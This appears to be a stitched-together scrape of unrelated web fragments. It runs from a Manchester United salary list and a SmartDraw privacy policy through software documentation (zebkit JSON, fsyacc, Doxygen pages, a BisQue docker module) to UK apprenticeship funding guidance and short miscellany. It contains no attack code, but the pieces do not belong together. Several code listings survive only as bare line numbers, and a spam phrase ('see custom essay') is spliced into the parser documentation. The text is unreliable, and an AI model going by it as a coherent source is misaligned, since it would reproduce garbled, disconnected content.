The Red Devils are one of the biggest spenders on wages for their first-team squad, with some players earning eye-watering sums, as revealed by Spotrac .
David de Gea and Paul Pogba are top of the pile of stars currently at the club in terms of their basic earnings.
But on-loan flop Alexis Sanchez is ranked alongside them, despite him switching to Inter Milan for the season.
In contrast one of United's top performers so far this season, Scott McTominay, is one of the lowest earners.
De Gea signed a new six-year contract at Old Trafford in the summer, making him the club's highest-paid player on a staggering £375,000 per week - which totals £19.5million a year.
His latest deal pitches him just ahead of Sanchez, who will collect £18.2m over the course of the year, although some of that will be subsidised by loan club Inter.
United's star man and wantaway midfielder Pogba makes up the top three, with a £290,000 weekly salary which equates to annual earnings of just over £15m.
Strike pairing Anthony Martial and Marcus Rashford are the only other two players whose wages top £200,000.
Martial picks up a cool £250k-a-week (£13m-a-year), with Rashford close behind on £200k (£10.4m).
New £85m defender Harry Maguire is next on weekly wages just shy of £190k-a-week (£9.8m).
At the opposite end of the spectrum, McTominay earns £10,000-a-week (£520k) - enough to have three teams full of the Scot for the price of one de Gea.
Perhaps more surprisingly, McTominay cashes in less than Timothy Fosu-Mensah (£15k), Diogo Dalot (£25k), and reserve keeper Lee Grant (£30k).
Other notable earners include regular scapegoat Fred - who is costing United over £6m per year following his £50m signing last summer.
Benchwarmer Nemanja Matic sneaks into the top 10 (£6.2m per year), while Chris Smalling is on over £3m per year whilst on loan at Roma.
Here is the full list of Man Utd player salaries (Annual/Weekly):
David de Gea - (£19.5m / £375k)
Alexis Sanchez (out on loan) - (£18.2m)
Paul Pogba - (£15m / £290k)
Anthony Martial - (£13m / £250k)
Marcus Rashford - (£10.4m / £200k)
Harry Maguire - (£9.8m / £189k)
Juan Mata - (£8.3m / £160k)
Luke Shaw - (£7.8m / £150k)
Fred - (£6.2m / £120k)
Victor Lindelof - (£6.2m / £120k)
Nemanja Matic - (£6.2 / £120k)
Ashley Young - (£6.2m / £120k)
Aaron Wan Bissaka - (£4.6m / £90k)
Eric Bailly - (£4.1m / £80k)
Marcos Rojo - (£4.1m / £80k)
Phil Jones - (£3.9m / £75k)
Jesse Lingard - (£3.9m / £75k)
Chris Smalling (on loan) - (£3.6m)
Sergio Romero - (£3.6m / £70k)
Matteo Darmian - (£2.3m / £45k)
Lee Grant - (£1.5m / £30k)
Andreas Pereira - (£1.5m / £30k)
Diogo Dalot - (£1.3m / £25k)
Timothy Fosu-Mensah - (£780k / £15k)
Scott McTominay - (£520k / £10k)
Not known - Daniel James, Axel Tuanzebe


bio
Daniel has over 17 years of experience working in development. As Lead Technology Strategist, Daniel is driving the support for Node.js Diagnostics, Serverless, CNCF projects like Kubernetes and OpenTracing at Dynatrace
details about the talk
Node alone doesn’t guarantee flawless code execution with stellar performance and finding problems in distributed systems is hard.
Tracing gives you both visibility into distributed code execution and the data you need to optimize performance and remove flaws in your code.
Join my talk where I cover
- the key performance metrics and how to collect them from Node.js
- challenges of asynchronous tracing and content propagation
- the different Open Source approaches and their use cases
- an end-to-end live sample that shows you how to get started with tracing your apps today


Root takes the responsibility out of your hands.
Watch Root get smarter with age.
It learns as it collects more information.
Observe your energy savings skyrocket.
Root is a profitable investment.
Choose your max electricity bill. Root's optimization algorithms will make the most of it.
Enter your home, pre-cooled (or pre-heated) for your arrival, without touching a button.
Have your TV automatically turn off if you left it idle.
Root brings energy efficiency to the masses.
We stand by using resources without waste.
Root protects the environment using artificial intelligence.
We stand by sustainability.
Root removes wealth as a requirement for smart homes.
We equip everyone to stand with us.
Laurie Actman, COO at Penn Center for Innovation
Anne Stamer, Head of Weiss Tech House
Rahul Mangharam, Professor of Electrical Engineering at Penn
JoAnne Spigonardo, Director of the Wharton Initiative for Global Environmental Leadership
David Monnerat, Senior Director of Intellectual Property at Comcast


THESIS
CHEMICAL PASTEURIZATION OF POULTRY MEAT
Submitted by
Jagdish Singh Teotia
In partial fulfillment of the requirements for the Degree of Doctor of Philosophy Colorado State University Fort Collins, Colorado
August, 1973
Reproduced with permission of the copyright owner. Further reproduction prohibited without permission.


Spring showers hope and new life to dream for summer holidays, festivals, gardening, sea side walks and endless activity.
Enjoy our collection of dungarees, skirts, dresses, jeans, tops and more to fill your holiday bags. For real extra value and joy enjoy them all year round.


Harmony API
Info
GET
/status
GET
/activities
Control
PUT
/off
POST
/start_activity?activity_name=Watch%20TV


My Formative Years
Life During Highschool
Life After Military
| Life after the military was great! | ||
|---|---|---|
| Festivals!
At camp zoe without a care in the world |
Performing!
Getting into all the best parties and getting paid to do it |
Fun easy jobs!
Sales at Pure Pleasure was one of the most memorable |
Skills I Have Learned Along The Way
- Discipline: Black belt in Tae Kwon Do, 4 year Varsity Wrestler, and was a senior airman in The Air Force
- Performance: I am proficient in many fire arts including Poi, Double Staff, Contact Staff, Rope dart as well as breathing and eating fire
- Business Management: Ran a successful skincare company that sold over 1.5 million in retail per yea working with stores set up in malls and military bases.
- Sales: since we opened at multple locations I also was required to sell in high pressure situations, and helped a buddy run an online auction business


Privacy Policy
Last updated: May 25, 2018
SmartDraw Software, LLC (the "Company") has updated this Privacy Policy (the "Privacy Policy") to reflect changes in data protection law. It applies to the Company's
online and desktop diagramming applications SmartDraw and SmartDraw for Windows Desktop (collectively, "SmartDraw"), the Company's website
www.smartdraw.com, and to other interactions
(e.g., customer service inquiries, user conferences, etc.) you may have with the Company
(all of which in this Privacy Policy will collectively be referred to as the "Services").
If you do not agree with this Privacy Policy, do not access or use any of the Services or any other aspect of the Company's business.
Separate agreements govern delivery, access and use of SmartDraw including the SmartDraw Terms of Service (the "Terms of Service")
and SmartDraw for Windows Desktop License Agreement (the "Windows License").
This Privacy Policy does not apply to Google Drive, Dropbox, Microsoft One Drive, Box or any third-party document storage service
that integrates with SmartDraw. Further, this Privacy Policy does not apply to any third-party apps, add-ons and extensions you
may choose to use with SmartDraw such as Atlassian's Confluence, Jira and Trello apps.
The person or organization that purchased and entered into the Terms of Service and/or Windows License
(the "Customer") controls access, rights and privileges for SmartDraw along with the disposition of all
associated information, files or other content created and entered into SmartDraw (the "Customer Information").
In some cases, the Customer may not be the individual actually using the Services.
If you were granted access or otherwise authorized to use a license to SmartDraw not purchased and owned
by you (e.g., by your employer or another entity or person) then you are not a Customer, but are an End User ("End User") of SmartDraw.
The term "you" as used in this Privacy Policy includes the Customer and each End User as applicable.
The Company is sometimes referred to in this Privacy Policy as "we" or "us."
End Users of SmartDraw should direct their data privacy questions to the Customer as the
End User's use of SmartDraw is subject to that Customer's privacy policies. The Company is not
responsible for the privacy or security practices of a particular Customer which may differ
from this Privacy Policy. If you as an End User have any questions about privacy practices,
please contact the Customer whose license of SmartDraw you use. You may also contact the
Company at<EMAIL_ADDRESS>or by phone at 1-800-768-3729 or 1-858-225-3300 and the
Company will help you identify a contact for the Customer to whom to direct your privacy concerns.
What Information the Company Collects About You
The Company collects information about you when you provide it to us,
when you use the Services, and when other sources provide it to us, as further described below.
Information You Provide To Us Directly
We collect the Customer's email address when it registers for a trial license and/or purchases a
license for SmartDraw. At the time a license to SmartDraw is purchased, we may also collect
the Customer's name, job title, phone number, fax number, your billing and shipping address,
a VAT or GST tax exemption ID number (if applicable) and payment card information it provides.
We will also collect the details about the license purchased such as the type and term of license,
number of End Users, etc., along with any comments made in conjunction with your order. Similar
information may be collected from each End User as they are authorized to use SmartDraw by the Customer.
We may also collect summary information from phone and email interactions you may have with
our support and sales representatives, including additional information you may have
provided during those interactions. In the online edition of SmartDraw, we also
keep track of any preferences you set.
From time-to-time we may also collect information via surveys. Participation in these
surveys is completely voluntary and you may choose whether or not to participate and
disclose any information about you. Information requested on such surveys may include
contact information (such as name and address), and demographic information
(such education level, and job function). Survey information will be used only for
purposes of improving the use and customer satisfaction of the Company's products and website.
As a condition to participating in a survey, you will be asked to consent to our
collection and use of survey information you provide.
Information You Provide To Us Indirectly
If you use our website we collect the same basic information that most websites
collect. We use common Internet technologies such as cookies, pixel tracking
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website may include the browser type, IP address, referring site, additional
websites requested, and the date and time of each visitor request. We collect
this information from all website visitors, whether they have an account or not.
 Your browser
may then store the cookie on your computer and read it back to our server if
you visit our site again. These cookies allow us to create a more personalized
experience for you while visiting our website and using SmartDraw. If you're
concerned about cookies, you can have your browser notify you when it receives
a cookie, giving you the choice to accept or decline it. Without cookies, however,
you will not be able to log into your SmartDraw account or use the online edition
of SmartDraw. Use of cookies are necessary to the performance of SmartDraw.
The Company uses third-party tracking tools to improve the performance and
features of the Services, and to provide a more customized and relevant
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The Company uses Enhanced Google Analytics Tools (the "Google Analytics Tools")
including Google AdSense, Remarketing with Google Analytics, Google Display
Network Impression Reporting, Google Analytics Demographics and Interest
Reporting and YouTube embedded videos as well as integrated services that
require Google Analytics to collect data via advertising cookies and
identifiers. You can learn more about the Google Analytics Tools at:
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Should you choose to no longer share your information with Google and no
longer have your information collected by the Google Analytics Tools,
you may opt-out by following the procedure outlined at: https://tools.google.com/dlpage/gaoptout/.
The Company uses Bing analytics and remarketing. Should you choose to no longer
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The Company uses Yahoo analytics and remarketing. Should you choose to no longer share
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When you communicate with the Company through social media, or provide a comment
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When you use the online edition of SmartDraw, in addition to the website
information outlined above, we will also collect information about your
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of log-ins, UI elements clicked on, actions taken, data displayed,
number of documents you created. We also store all of the documents
you create using the online edition of SmartDraw on our servers, unless
you choose to use a third-party document storage service such as
Google Drive, Dropbox, Microsoft OneDrive, or Box. Should you choose to
use our integration with a third-party document storage service to store
your SmartDraw documents, the user information provided to the Company
from the third-party document storage service is your first name,
last name and email address. This will allow us to communicate
with you (subject to the terms of this Privacy Policy). The documents
you create and edit using SmartDraw and which are stored on one of
the third-party document storage services will be uploaded to SmartDraw's
servers during the time they are being edited, and the changes you make
will be downloaded back to the third-party document storage service.
A temporary copy of the SmartDraw document will remain on SmartDraw's
servers until such time as the editing session has been completed and browser closed.
If you use the online edition of SmartDraw with third-party apps and
add-ons (such as Atlassian's Confluence, Jira and Trello apps)
information from your documents will be shared with those apps.
If you use the SmartDraw for Windows Desktop Edition, a validation
feature will from time-to-time verifies that SmartDraw has been
activated and is properly licensed. During such a validation check,
the validation feature will send the version number and the unique
License number to our servers to verify that the license remains valid.
In addition, when installing the SmartDraw for Windows Desktop Edition,
a messaging system is also installed in order to provide you with
periodic licensing and updating reminders. The documents you create with
the SmartDraw for Windows Desktop Edition are typically stored on
your own computers and/or servers (or your own third-party storage services).
You may, however, choose to access and use the storage capability of the
online edition of SmartDraw (if you have a valid license) to store and
interact with your documents using the SmartDraw for Windows Desktop Edition.
We do not knowingly collect information on children under the age of 18.
How We Use Information We Collect About You
The Company uses the information we collect to provide you
with the Services, which includes using information to improve and
personalize your experiences. We also use the information to
communicate with you, for example, informing you about your account,
new products or services available, security and other types of updates.
Providing the Services to You
We use information we collect about you to provide, operate, support and improve
the Services we offer to ensure our customers can use SmartDraw as effortlessly
as possible. For example, information may be used to: (a) authenticate your
identity when you register and each time you sign in; (b) notify you when
subscriptions are due to expire, (c) to pre-populate forms, (d) integrate
with third-party storage services, apps and add-ons that you use; and (e) otherwise
as required by law. This processing is necessary for the performance of the
agreements we have with you that permit you to use the Services.
Customer Support
We use information we collect about you to respond to customer inquiries,
diagnose problems with SmartDraw, assist customers with their diagramming questions,
and to provide other customer care and support services. This processing is necessary
for the performance of the agreements we have with you that permit you to use the
Services, as well as to serve our legitimate interest.
Product Improvement
We use information we collect about you for research purposes and to develop
and improve our Services, including maintaining and improving the performance
of SmartDraw, developing and adding new features or capabilities, such as using
error reports to improve security features, and using search queries and clicks
to improve the relevance of search results. This processing is necessary to
serve our legitimate interest.
Security, Safety and Dispute Resolution
We use information we collect about you to protect the security and safety
of our Services and our customers, to detect and prevent fraud, to resolve
disputes and enforce our agreements. This processing is necessary to serve
our legitimate interest.
Communication, Marketing and Advertising
We use the information we collect about you to deliver and personalize our
communications with you. For example, we may contact you by email or other
means of electronic communication (including through the SmartDraw for Windows
messaging app) to inform you about available updates to SmartDraw including
security or software upgrades. This processing is necessary to serve our
legitimate interest.
The Legal Bases for Using Personal Information
There are different legal bases that we rely on to use your personal information.
First, we use information we collect about you to enable us to perform the
agreements we have with you that permit you to use the Services. For example,
to complete your purchase of a license to SmartDraw, to register and maintain
your account, to provide support, to handle refunds, to ensure that SmartDraw
performs its basic functions in a secure way, or to respond to your requests.
Without the use of this information, it would be difficult and in some cases
impossible to make the Services available to you in a functional manner.
Next, we may use your information for our legitimate interests. For example,
we rely on our legitimate interest to analyze and improve the Services
and our content on the Services, to send you notifications about software
updates or information about SmartDraw or to use your personal information
for administrative, fraud detection or legal purposes.
How To Access and Control Information We Collect About You
You can request that the Company update your information, request a copy
of your information or request the deletion of your information.
You can exercise some of your choices by logging into SmartDraw, going to "Account"
and using the settings available there. If you are an End User, you may need
to contact the Customer to assist with your requests first.
Your requests and choices may be limited in certain cases.
For example, if fulfilling your request would reveal information about
another person, or if you ask to delete information which the Company
or the Customer are permitted by law or have compelling legitimate
interests to keep, your choices may be constrained. Where you have asked
us to share data with third parties, for example, by using a third-party
document storage service or by using third-party apps and extensions
that work with SmartDraw, you may need to contact those third-party
service providers directly to have your information deleted or otherwise restricted.
You may opt out of receiving marketing communications from us by using the
unsubscribe link within each email or by contacting us at
<EMAIL_ADDRESS>or by phone at 1-800-768-3729 or 1-858-225-3300 to have your contact information
removed from our marketing email list. Even after you opt out from receiving
marketing messages from us, you will continue to receive transactional
messages from us regarding SmartDraw.
Even if SmartDraw is not currently provided to you by an organization,
if you use an email address provided to you by an organization
(such as your work email address) to access SmartDraw, then the
owner of the domain associated with your email address (e.g. your employer)
may assert administrative control over your account and use of SmartDraw
at a later date. If you do not want an administrator to be able to
assert control over your account or use of the SmartDraw, use a
personal email address to register for a trial and/or to purchase SmartDraw.
Please contact your organization or refer to your administrator's
organizational policies for more information.
How We Store and Secure Information We Collect About You


--- layout: example title: Examples and Plugins ---
This page has a list of code examples and plugins that nwt ships with.
NWT ships with several twitter bootstrap components. Simply include the bootstrap css, and applicible plugin code on your page. Get the bootstrap code: Bootstrap on Github.
Select an example to continue.


JSON is for ages becoming is widely used format to keep configuration, parse data etc. Zebkit uses JSON:
Definitely pure JSON is not enough and zebkit has introduced extended JSON interpretation that supports:
Class instantiation. A JSON value can be described as an instance of the a class. For instance, "a" key in the JSON below will be set to an instance of JS "RegExp" class:
{ "a" : { "@RegExp" : [ "[a-z]+", "i" ] } }
Properties. Loading a JS object with a JSON takes in account the target object can have setter methods for a dedicated properties. For the following JSON zebkit tries to call "setTest(100)" method of the target object:
{ "test": 100 }
References. A value can be set as reference to other JSON value. For instance "b" key value is 12:
{ "a": 12, "b": "%{a}" }
Expressions. Expression is JS code that is evaluated and then assign to JSON key as a value. For instance the value of "a" key below will be set to 20:
{ "a": { ".expr" : "10 + 10" } }
Image, textual file and embedded JSON loadings. JSON values can be references to external resources like images, JSON, etc. For instance to load image and set it as key "a" value the following JSON can be used:
{ "a": "%{<img> http://test.com/picture.jpg}" }
Zebkit JSON is loaded asynchronously. You can load multiple embedded JSON recursively, zebkit does the loadings asynchronously but
{ "a" : 100,
"b" : { "c": { "@Date" : [] } },
"d" : "%{a}",
"e" : "%{<json> http://test.com/embedded.json}",
"f" : "%{e.m.k}"
}
Where "embedded.json" is:
{ "m" : { "k" : "Hello" } }
new Zson().then(function("config.json", conf) {
... // handle fully loaded json
});
var A = zebkit.Class([
function(a, b, c) { // constructor
this.a = a;
this.b = b;
this.c = c;
},
function setD(d) { // property "d"
this.d = d;
}
]);
{
"d" : "value of property 'd'"
}
var a = new A();
new Zson(a).catch();


Clean energy
solutions for all
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Now you can monitor the grid in your town and across the country—check out WattTime Explorer to see where your power is coming from and discover the clean energy trends that affect you.
Don't miss a chance to make an impact with your energy choices! WattTime Alerts delivers personalized notifications of particularly dirty or clean times right to your phone or inbox.
Learn how WattTime makes an impact
How timing your power can make a difference for clean energy.
Specific technical mechanisms of our renewables integration and environmental demand response strategies.
Get the latest scoop on what we're up to.


Overview
fsyacc.exe
is a LALR
parser generator. It follows a similar specification to the OCamlYacc
parser generator (especially when used with the ml compatibility
switch)
Getting Started
Add an FsLexYacc
package reference to your project
1:
|
|
Sample input
Parser generators typically produce numbers represented by values in an F# Union Type. For example:
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: |
|
Given that, a typical parser specification is as follows:
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: |
|
The above generates a datatype for tokens and a function for each start
production. Parsers are typically combined with a lexer generated using FsLex
.
MSBuild support
The nuget package includes MSBuild support for FsLex
and FsYacc
. You must add a FsLexYacc.targets
reference
to your project file manually like this (adjust the nuget package number if needed):
1:
|
|
You must also add FsLex
andd FsYacc
entries like this:
1: 2: 3: 4: 5: 6: |
|
If you want to see verbose
output from FsYacc
you need to add -v
in OtherFlags
section like this:
1: 2: 3: |
|
Command line options
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: |
|
Managing and using position markers
Each action in an fsyacc parser has access to a parseState value through which you can access position information.
1: 2: 3: 4: 5: 6: 7: |
|
Input
relate to the indexes of the items on the right hand side of the current production, the Result
relates to the entire range covered by the production. You shouldn't use GetData
directly - these is called automatically by $1
, $2
etc. You can call RaiseError
if you like.
You must set the initial position when you create the lexbuf:
1: 2: 3: 4: 5: |
|
You must also update the position recorded in the lex buffer each time you process what you consider to be a new line:
1: 2: |
|
Likewise if your language includes the ability to mark source code locations, see custom essay (e.g. the #line
directive in OCaml and F#) then you must similarly adjust the lexbuf.EndPos
according to the information you grok from your input.
Notes on OCaml Compatibility
OCamlYacc
accepts the following:
1:
|
|
For FsYacc
you just add parentheses:
1:
|
|
val string : value:'T -> string
Full name: Microsoft.FSharp.Core.Operators.string
--------------------
type string = System.String
Full name: Microsoft.FSharp.Core.string
val int : value:'T -> int (requires member op_Explicit)
Full name: Microsoft.FSharp.Core.Operators.int
--------------------
type int = int32
Full name: Microsoft.FSharp.Core.int
--------------------
type int<'Measure> = int
Full name: Microsoft.FSharp.Core.int<_>
val float : value:'T -> float (requires member op_Explicit)
Full name: Microsoft.FSharp.Core.Operators.float
--------------------
type float = System.Double
Full name: Microsoft.FSharp.Core.float
--------------------
type float<'Measure> = float
Full name: Microsoft.FSharp.Core.float<_>
from Microsoft.FSharp.Collections
Full name: Microsoft.FSharp.Collections.list<_>
struct
member CompareTo : value:obj -> int + 1 overload
member Equals : obj:obj -> bool + 1 overload
member GetHashCode : unit -> int
member GetTypeCode : unit -> TypeCode
member ToString : unit -> string + 3 overloads
static val MaxValue : int
static val MinValue : int
static member Parse : s:string -> int + 3 overloads
static member TryParse : s:string * result:int -> bool + 1 overload
end
Full name: System.Int32
struct
member CompareTo : value:obj -> int + 1 overload
member Equals : obj:obj -> bool + 1 overload
member GetHashCode : unit -> int
member GetTypeCode : unit -> TypeCode
member ToString : unit -> string + 3 overloads
static val MinValue : float
static val MaxValue : float
static val Epsilon : float
static val NegativeInfinity : float
static val PositiveInfinity : float
...
end
Full name: System.Double
module List
from Microsoft.FSharp.Collections
--------------------
Full name: Microsoft.FSharp.Core.obj
Full name: Microsoft.FSharp.Core.unit


Beta This is a test version of the layout of this page. Take the survey to help us improve it
Guidance
Information about getting SFA funding to deliver adult education and apprenticeship training.
To offer government funded education and skills training such as apprenticeships you must be listed on one of the SFA’s registers. Depending on the type of training you want to provide you can apply to be on:
To register and bid for education and skills funding, you must have a UK Provider Registration Number (UKPRN) from the UK Register of Learning Providers (UKRLP) . The UKPRN allows you to register on the SFA e-tendering portal (Bravo) to bid for contracts.
We will inform existing and aspiring providers when both registers are open for new applications through our weekly Update newsletter and in Bravo.
If your application to the SFA is successful, you will need to sign either a:
contract for service with the SFA to provide adult education or apprenticeship training to non-levy paying employers
funding agreement with the SFA to provide apprenticeship training to levy paying employers
SFA contracts and apprenticeship agreements are issued through the Skills Funding Service (SFS) . We need to ensure that we have a method in place that allows the secure transfer of sensitive information. We use our Information Management Services (IDAMS) for this purpose and each provider needs a super-user who can assign a range of different roles. You can find out more in the guide to user roles .
The funding rules contain the principles and rules that are part of the terms and conditions of funding and must be read with the other contract documents and followed to receive funding from the SFA.
Employers will use the find apprenticeship training service to select a provider to deliver their apprenticeship training. To populate this service you will need to provide information about the apprenticeships you offer using the course directory portal .
If you are providing apprenticeship training, you’ll need to have a contract with the employer setting out the terms and conditions of your training offer. The SFA does not need to see this, although our audit process will check that the contract is in place.
Levy-paying employers will use the apprenticeship service to manage funding with you. The employer will add the name and UKPRN of their selected provider in their digital account along with the agreed cost of training and assessment.
You will need to confirm some information about the apprentices and the training that you are providing in the apprenticeship service.
Both you and the employer will need to confirm that this information is correct.
The employer may want you to enter details of the apprentices for them on the apprenticeship service. You will be able to do this on screen or through a data upload. The SFA will check this information against your ILR data before payments are made.
Employers will be asked to select an end point assessment organisation from the register of apprentice assessment organisations to support the delivery of their apprenticeship standards.
You must contract with the apprentice assessment organisation that has been selected by the employer. You must have a written agreement in place with this assessment organisation and make payment to them for conducting the end-point assessment. The written agreement must set out the arrangements for end-point assessment, including arrangements for any re-takes and payments. You can find further details in the apprenticeship technical funding guide .
The register of apprentice assessment organisations page provides more information for organisations thinking about applying to become an apprentice assessment organisation.
To support your organisation with the recruitment and enrolment of learners, the SFA has the following services which allow you to:
The employer you are working with might ask you to recruit apprentices to the programme on their behalf. The find an apprenticeship service is available to potential candidates to use. If you wish to upload vacancies, you will need your IDAMS login for the recruit an apprentice service.
You will need to send accurate information regarding the learners you are working with to the SFA on a monthly basis. We collect this information using the individualised learner record (ILR) .
ILR information is used to:
Our individualised learner record (ILR) data and guidance gives information on how to collect, return and check the quality of your data. Once you have your ILR file, you should submit it to the Hub at the correct time. You will need to assign a user who can manage the data roles within your organisation.
You can search and check the eligibility of qualifications using the Learning Aim Search .
You can get unique learner numbers which are mandatory for ILR data returns from the Learner Records Service portal .
You will need to add an employer reference number (ERN) to all of the apprentices you report on in your ILR. You can do this by using the employer data service . You will need your unique provider identification number (UPIN) to register. We will send you your UPIN when you start to work with us.
We supply an ILR learner entry tool software free of charge to providers who need to submit ILR data to the SFA but who do not have access to a data management system. You can download the ILR learner entry tool from the Hub .

HESA has worked with the SFA to create a mechanism for simplifying the production of the ILR record. You can find further information on the HESA website .
As part of the terms and conditions for funding, all contracted organisations must follow the SFA funding and performance management rules .
Throughout the year the SFA completes performance reviews to check you are meeting the targets in your contracts. The SFA will use your ILR data to monitor your performance and for audit purposes.
for technical support with SFA systems or for data enquries, please contact our service centre
for general levy and apprenticeship service enquiries, please email the national contact centre or call 08000 150 600


Selecting the following will add additional formating to our table.
In this case we are highlighting every numeric value in the "Unit Sales" column that is greater than 3.
Change conditions for numeric column


The preventDefault() method will prevent the link above from following the URL.
Click the link and check if the default action is prevented.


X-Frame Error
This site doesn't allow displaying from an origin other than it's own.
Is it yours? Try disabling X-FRAME-OPTIONS for development?


{{ error }}
{% endfor %}{% trans "PeeringDB facilitates the exchange of information related to Peering." %}
{% blocktrans trimmed %} Specifically, we are a database of networks that are peering, where they are peering, and if they are likely to peer with you. If you don't know what peering is, and/or you don't currently engage in peering, this probably won't have any meaning for you. {% endblocktrans %}
{% trans "You are currently viewing a read-only view of the data contained here.  %}
{% trans "Still have questions?" %} {% trans "Read our FAQ" %}


index
|
up
|
prev
|
next
BasicTypeSubOperation Class
Definition at line
451
of
BasicTypeOperation.hpp
Constructors
BasicTypeSubOperation
(
const
Span
& span_,
const
std::u32string& name_)
Constructor Details
BasicTypeSubOperation Constructor
cmajor::symbols::BasicTypeSubOperation::BasicTypeSubOperation(
const
Span
& span_,
const
std::u32string& name_)
Definition at line
38
of
BasicTypeOperation.cpp
:
38
:
BasicTypeBinaryOperation
<
BasicTypeSub
>
(
SymbolType
::
basicTypeSub
)
39
{
40
}
Declaration at line
454
of
BasicTypeOperation.hpp
index
|
up
|
prev
|
next


|
Sound Pirates
Game to train note matching by ear.
|
#include <boost/test/unit_test.hpp>
#include "defineNote.h"
Go to the source code of this file.
Macros | |
| #define | BOOST_TEST_MODULE SplashTests |
Unit test to check that the input frequency tone matches up to its correpsonding note
Definition in file define_note_test.cpp.
| #define BOOST_TEST_MODULE SplashTests |
(C) Copyright Gennadiy Rozental 2002-2006. (C) Copyright Gennadiy Rozental & Ullrich Koethe 2001. Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
See http://www.boost.org/libs/test for the library home page.
Definition at line 21 of file define_note_test.cpp.


This is a testing area for several different tools in the Angular Project.
I might be doing some weird stuff in the application. So forgive the mess.
{{data}}


This module segments a marked object (creating a graphical object) within an input image.
Then the module will classify either the entire original image or the segment created in the first step. This uses PyTorch in order to do this deep segmentation.
This will install all the dependency in the modules requirements.txt file, build modules code, and create a docker image for running it. Based on your “docker.hub” configuration the setup will push the docker image to registry as [biodev.ece.ucsb.edu:5000/bisque_uplanteome]
Select an image to be analyzed.
The foreground/background annotation tooltip can be found on the top-right of the module image viewer. Mark the part of the image to be segmented with foreground line(s) annotation(s). Mark the image with background annotations around the object to be segmented.
Select which deep classifier to use, whether to segment the image, the segmentation quality, and whether to classify the entire image or the segmented object instead.
Press the ‘RUN’ button. Analysis may take some time depending on the image and segmentation quality.
Results are given in visual and table formats, depending on whether the segmentation and classification functionalities respectively were enabled in the options.
Make sure you have annotated the image and have an a mex identifier availablefor manual test/run. This can be done by, - Opening the module and select image - Annotate the image as per the directions above - Configure and run the module once - Make note of the mex URL for this run by looking at the docker_run.log in the staging folder. This will be used for replaying the test run from the modules folder.
Additional module execution information - When we annotate the image and click RUN on the module user interface - The Planteome module is created from biodev.ece.ucsb.edu:5000/bisque_uplanteome:latest
```
docker create biodev.ece.ucsb.edu:5000/bisque_uplanteome \
python PlanteomeDeepSegment.py \
http://loup.ece.ucsb.edu:8088/module_service/mex/00-NKpU4CWiHfupgckuXBNFDd \
admin:00-NKpU4CWiHfupgckuXBNFDd Simple True 3 False
```
Version: 0.3 Author(s): Dimitrios Trigkakis, Justin Preece


The old woman looks after the child to grow its teeth and the young one in turn looks after the old woman when she loses her teeth.
~ Akan (Ghana, Ivory Coast) proverb


James and Olivia really want for their wedding to be an enjoyable, relaxed affair and for all their friends and family to be by their side, so the gift of your prescence is more than enough. That said, if you would like to give them a gift find registries below.


|
Bullet Collision Detection & Physics Library
|
#include "btAlignedAllocator.h"
Go to the source code of this file.
Functions | |
| static void * | btAllocDefault (size_t size) |
| static void | btFreeDefault (void *ptr) |
| static void * | btAlignedAllocDefault (size_t size, int alignment) |
| static void | btAlignedFreeDefault (void *ptr) |
| void | btAlignedAllocSetCustomAligned (btAlignedAllocFunc *allocFunc, btAlignedFreeFunc *freeFunc) |
| If the developer has already an custom aligned allocator, then btAlignedAllocSetCustomAligned can be used. The default aligned allocator pre-allocates extra memory using the non-aligned allocator, and instruments it. More... | |
| void | btAlignedAllocSetCustom (btAllocFunc *allocFunc, btFreeFunc *freeFunc) |
| The developer can let all Bullet memory allocations go through a custom memory allocator, using btAlignedAllocSetCustom. More... | |
| void * | btAlignedAllocInternal (size_t size, int alignment) |
| we probably replace this with our own aligned memory allocator so we replace _aligned_malloc and _aligned_free with our own that is better portable and more predictable More... | |
| void | btAlignedFreeInternal (void *ptr) |
Variables | |
| static btAllocFunc * | sAllocFunc = btAllocDefault |
| static btFreeFunc * | sFreeFunc = btFreeDefault |
| static btAlignedAllocFunc * | sAlignedAllocFunc = btAlignedAllocDefault |
| static btAlignedFreeFunc * | sAlignedFreeFunc = btAlignedFreeDefault |
|
inlinestatic |
Definition at line 62 of file btAlignedAllocator.cpp.
| void* btAlignedAllocInternal | ( | size_t | size, |
| int | alignment | ||
| ) |
we probably replace this with our own aligned memory allocator so we replace _aligned_malloc and _aligned_free with our own that is better portable and more predictable
BT_DEBUG_MEMORY_ALLOCATIONS preprocessor can be set in build system for regression tests to detect memory leaks define BT_DEBUG_MEMORY_ALLOCATIONS 1
Definition at line 244 of file btAlignedAllocator.cpp.
| void btAlignedAllocSetCustom | ( | btAllocFunc * | allocFunc, |
| btFreeFunc * | freeFunc | ||
| ) |
The developer can let all Bullet memory allocations go through a custom memory allocator, using btAlignedAllocSetCustom.
Definition at line 100 of file btAlignedAllocator.cpp.
| void btAlignedAllocSetCustomAligned | ( | btAlignedAllocFunc * | allocFunc, |
| btAlignedFreeFunc * | freeFunc | ||
| ) |
If the developer has already an custom aligned allocator, then btAlignedAllocSetCustomAligned can be used. The default aligned allocator pre-allocates extra memory using the non-aligned allocator, and instruments it.
Definition at line 94 of file btAlignedAllocator.cpp.
|
inlinestatic |
Definition at line 79 of file btAlignedAllocator.cpp.
| void btAlignedFreeInternal | ( | void * | ptr | ) |
Definition at line 252 of file btAlignedAllocator.cpp.
|
static |
Definition at line 24 of file btAlignedAllocator.cpp.
|
static |
Definition at line 29 of file btAlignedAllocator.cpp.
|
static |
Definition at line 91 of file btAlignedAllocator.cpp.
|
static |
Definition at line 92 of file btAlignedAllocator.cpp.
|
static |
Definition at line 34 of file btAlignedAllocator.cpp.
|
static |
Definition at line 35 of file btAlignedAllocator.cpp.


The MIT License is simple and easy to understand and it places almost no restrictions on what you can do with a jQuery project.
You are free to use any jQuery project in any other project (even commercial projects) as long as the copyright header is left intact.


Some of these propositions don't need False-elimination;
in these situations, show that these theorems are derived from some
theorems of the minimal propositional logic.
Solution
See on_negation.v
Notes
Whenever False-elimination is not
needed, we first proved some lemma in minimal propositional logic, then
apply it to derive the statement we wanted to prove.
Please notice that all these results could be proved in one step :
